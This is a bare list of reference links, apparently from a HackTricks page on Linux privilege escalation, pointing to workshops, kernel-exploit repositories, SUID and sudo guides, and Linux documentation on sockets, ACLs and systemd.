• https://touhidshaikh.com/blog/?p=827
• https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf
• https://github.com/frizb/Linux-Privilege-Escalation
• https://github.com/lucyoa/kernel-exploits
• https://github.com/rtcrowley/linux-private-i
• https://www.linux.com/news/what-socket/
• https://muzec0318.github.io/posts/PG/peppo.html
• https://www.linuxjournal.com/article/7744
• https://blog.certcube.com/suid-executables-linux-privilege-escalation/
• https://juggernaut-sec.com/sudo-part-2-lpe
• https://linuxconfig.org/how-to-manage-acls-on-linux
• https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f
• https://www.linode.com/docs/guides/what-is-systemd/

{{#include ../../banners/hacktricks-training.md}}